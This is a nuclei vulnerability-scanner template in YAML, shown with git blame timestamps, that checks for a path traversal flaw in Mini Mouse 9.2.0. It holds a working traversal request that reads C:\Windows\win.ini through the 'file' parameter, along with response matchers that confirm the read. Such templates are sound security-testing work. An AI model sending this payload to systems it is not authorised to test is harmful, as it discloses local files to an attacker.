nuclei-templates/vulnerabilities/other/minimouse-lfi.yaml

29 lines
686 B
YAML
Raw Normal View History

2021-09-06 08:56:20 +00:00
id: minimouse-lfi
info:
2021-09-06 09:00:23 +00:00
name: Mini Mouse 9.2.0 - Path Traversal
2021-09-06 08:56:20 +00:00
author: 0x_Akoko
severity: high
2021-10-19 10:10:29 +00:00
description: A vulnerability in Mini Mouse allows remote unauthenticated attackers to include and disclose the content of locally stored files via the 'file' parameter.
2021-09-06 08:56:20 +00:00
reference: https://www.exploit-db.com/exploits/49744
tags: minimouse,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/file=C:%5CWindows%5Cwin.ini"
matchers-condition: and
matchers:
- type: status
status:
- 200
2021-09-06 08:56:20 +00:00
- type: word
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body